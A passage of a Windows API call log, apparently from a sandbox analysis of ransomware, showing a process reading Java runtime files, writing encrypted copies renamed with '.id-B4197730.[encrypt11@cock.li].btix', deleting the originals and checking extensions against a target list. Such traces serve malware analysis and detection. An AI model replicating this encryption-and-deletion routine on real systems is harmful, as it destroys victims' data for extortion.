files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0133.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.126] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0133.126] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.126] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.126] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0133.127] GetLastError () returned 0x0 [0133.127] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0133.310] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0133.319] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.319] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1 [0133.319] SetEndOfFile (hFile=0x508) returned 1 [0133.319] CloseHandle (hObject=0x508) returned 1 [0133.319] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.319] SetEndOfFile (hFile=0x4c4) returned 1 [0133.331] CloseHandle (hObject=0x4c4) returned 1 [0133.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.331] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0133.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.333] lstrlenW (lpString=".doc") returned 4 [0133.333] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.333] lstrlenW (lpString=".docx") returned 5 [0133.333] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0133.333] lstrlenW (lpString=".pdf") returned 4 [0133.333] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.333] lstrlenW (lpString=".xls") returned 4 [0133.333] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.333] lstrlenW (lpString=".xlsx") returned 5 [0133.333] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0133.333] lstrlenW (lpString=".ppt") returned 4 [0133.333] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.333] lstrlenW (lpString=".zip") returned 4 [0133.333] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.333] lstrlenW (lpString=".rar") returned 4 [0133.333] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.333] lstrlenW (lpString=".bz2") returned 4 [0133.333] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.333] lstrlenW (lpString=".7z") returned 3 [0133.333] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.333] lstrlenW (lpString=".dbf") returned 4 [0133.333] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.333] lstrlenW (lpString=".1cd") returned 4 [0133.334] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.334] lstrlenW (lpString=".jpg") returned 4 [0133.334] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.334] lstrlenW (lpString=".doc") returned 4 [0133.334] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.334] lstrlenW (lpString=".docx") returned 5 [0133.334] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0133.334] lstrlenW (lpString=".pdf") returned 4 [0133.334] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.334] lstrlenW (lpString=".xls") returned 4 [0133.334] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.334] lstrlenW (lpString=".xlsx") returned 5 [0133.334] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0133.334] lstrlenW (lpString=".ppt") returned 4 [0133.334] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.334] lstrlenW (lpString=".zip") returned 4 [0133.334] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.334] lstrlenW (lpString=".rar") returned 4 [0133.334] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.334] lstrlenW (lpString=".bz2") returned 4 [0133.334] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.334] lstrlenW (lpString=".7z") returned 3 [0133.334] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.334] lstrlenW (lpString=".dbf") returned 4 [0133.334] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.334] lstrlenW (lpString=".1cd") returned 4 [0133.334] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0133.334] lstrlenW (lpString=".jpg") returned 4 [0133.335] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.335] lstrcmpiW (lpString1=".template", lpString2=".btix") returned 1 [0133.335] lstrlenW (lpString="jmxremote.password.template") returned 27 [0133.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0133.444] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2856) returned 1 [0133.444] CloseHandle (hObject=0x4a8) returned 1 [0133.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0133.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.480] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.480] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.480] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.480] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0133.480] GetLastError () returned 0x0 [0133.480] ReadFile (in: hFile=0x52c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xb28, lpOverlapped=0x0) returned 1 [0133.504] WriteFile (in: hFile=0x4a8, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xb30, lpOverlapped=0x0) returned 1 [0133.505] ReadFile (in: hFile=0x52c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.505] WriteFile (in: hFile=0x4a8, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x10a, lpOverlapped=0x0) returned 1 [0133.505] SetEndOfFile (hFile=0x4a8) returned 1 [0133.505] CloseHandle (hObject=0x4a8) returned 1 [0133.505] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.505] SetEndOfFile (hFile=0x52c) returned 1 [0133.507] CloseHandle (hObject=0x52c) returned 1 [0133.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.507] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0133.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.508] lstrlenW (lpString=".doc") returned 4 [0133.508] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0133.508] lstrlenW (lpString=".docx") returned 5 [0133.508] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0133.508] lstrlenW (lpString=".pdf") returned 4 [0133.508] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0133.508] lstrlenW (lpString=".xls") returned 4 [0133.508] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0133.508] lstrlenW (lpString=".xlsx") returned 5 [0133.508] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0133.508] lstrlenW (lpString=".ppt") returned 4 [0133.508] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0133.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.508] lstrlenW (lpString=".zip") returned 4 [0133.508] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0133.508] lstrlenW (lpString=".rar") returned 4 [0133.508] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0133.508] lstrlenW (lpString=".bz2") returned 4 [0133.508] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0133.508] lstrlenW (lpString=".7z") returned 3 [0133.508] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0133.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.508] lstrlenW (lpString=".dbf") returned 4 [0133.508] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0133.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.508] lstrlenW (lpString=".1cd") returned 4 [0133.508] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0133.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.509] lstrlenW (lpString=".jpg") returned 4 [0133.509] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0133.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.509] lstrlenW (lpString=".doc") returned 4 [0133.509] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0133.509] lstrlenW (lpString=".docx") returned 5 [0133.509] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0133.509] lstrlenW (lpString=".pdf") returned 4 [0133.509] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0133.509] lstrlenW (lpString=".xls") returned 4 [0133.509] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0133.509] lstrlenW (lpString=".xlsx") returned 5 [0133.509] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0133.509] lstrlenW (lpString=".ppt") returned 4 [0133.509] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0133.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.509] lstrlenW (lpString=".zip") returned 4 [0133.509] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0133.509] lstrlenW (lpString=".rar") returned 4 [0133.509] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0133.509] lstrlenW (lpString=".bz2") returned 4 [0133.509] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0133.509] lstrlenW (lpString=".7z") returned 3 [0133.509] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0133.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.509] lstrlenW (lpString=".dbf") returned 4 [0133.509] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0133.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.509] lstrlenW (lpString=".1cd") returned 4 [0133.509] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0133.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0133.509] lstrlenW (lpString=".jpg") returned 4 [0133.509] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0133.510] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0133.510] lstrlenW (lpString="psfontj2d.properties") returned 20 [0133.510] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.717] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10393) returned 1 [0133.717] CloseHandle (hObject=0x4dc) returned 1 [0133.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0133.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.729] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0133.730] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.730] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.730] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0133.877] GetLastError () returned 0x0 [0133.877] ReadFile (in: hFile=0x4a8, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2899, lpOverlapped=0x0) returned 1 [0133.893] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x28a0, lpOverlapped=0x0) returned 1 [0133.894] ReadFile (in: hFile=0x4a8, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.894] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xfc, lpOverlapped=0x0) returned 1 [0133.894] SetEndOfFile (hFile=0x508) returned 1 [0133.894] CloseHandle (hObject=0x508) returned 1 [0133.895] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.895] SetEndOfFile (hFile=0x4a8) returned 1 [0133.897] CloseHandle (hObject=0x4a8) returned 1 [0133.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.897] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0133.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.898] lstrlenW (lpString=".doc") returned 4 [0133.898] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0133.898] lstrlenW (lpString=".docx") returned 5 [0133.898] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0133.898] lstrlenW (lpString=".pdf") returned 4 [0133.898] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0133.898] lstrlenW (lpString=".xls") returned 4 [0133.898] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0133.898] lstrlenW (lpString=".xlsx") returned 5 [0133.898] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0133.898] lstrlenW (lpString=".ppt") returned 4 [0133.898] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0133.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.898] lstrlenW (lpString=".zip") returned 4 [0133.898] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0133.898] lstrlenW (lpString=".rar") returned 4 [0133.898] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0133.898] lstrlenW (lpString=".bz2") returned 4 [0133.899] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0133.899] lstrlenW (lpString=".7z") returned 3 [0133.899] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0133.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.899] lstrlenW (lpString=".dbf") returned 4 [0133.899] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0133.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.899] lstrlenW (lpString=".1cd") returned 4 [0133.899] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0133.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.899] lstrlenW (lpString=".jpg") returned 4 [0133.899] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0133.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.899] lstrlenW (lpString=".doc") returned 4 [0133.899] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0133.899] lstrlenW (lpString=".docx") returned 5 [0133.899] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0133.899] lstrlenW (lpString=".pdf") returned 4 [0133.899] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0133.899] lstrlenW (lpString=".xls") returned 4 [0133.899] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0133.899] lstrlenW (lpString=".xlsx") returned 5 [0133.899] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0133.899] lstrlenW (lpString=".ppt") returned 4 [0133.899] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0133.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.899] lstrlenW (lpString=".zip") returned 4 [0133.900] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0133.900] lstrlenW (lpString=".rar") returned 4 [0133.900] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0133.900] lstrlenW (lpString=".bz2") returned 4 [0133.900] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0133.900] lstrlenW (lpString=".7z") returned 3 [0133.900] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0133.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.900] lstrlenW (lpString=".dbf") returned 4 [0133.900] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0133.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.900] lstrlenW (lpString=".1cd") returned 4 [0133.900] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0133.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0133.900] lstrlenW (lpString=".jpg") returned 4 [0133.900] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0133.900] lstrcmpiW (lpString1=".certs", lpString2=".btix") returned 1 [0133.900] lstrlenW (lpString="blacklisted.certs") returned 17 [0133.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0133.954] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1253) returned 1 [0133.954] CloseHandle (hObject=0x540) returned 1 [0133.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0133.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.955] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0133.955] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.955] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.955] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0133.956] GetLastError () returned 0x0 [0133.956] ReadFile (in: hFile=0x540, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, 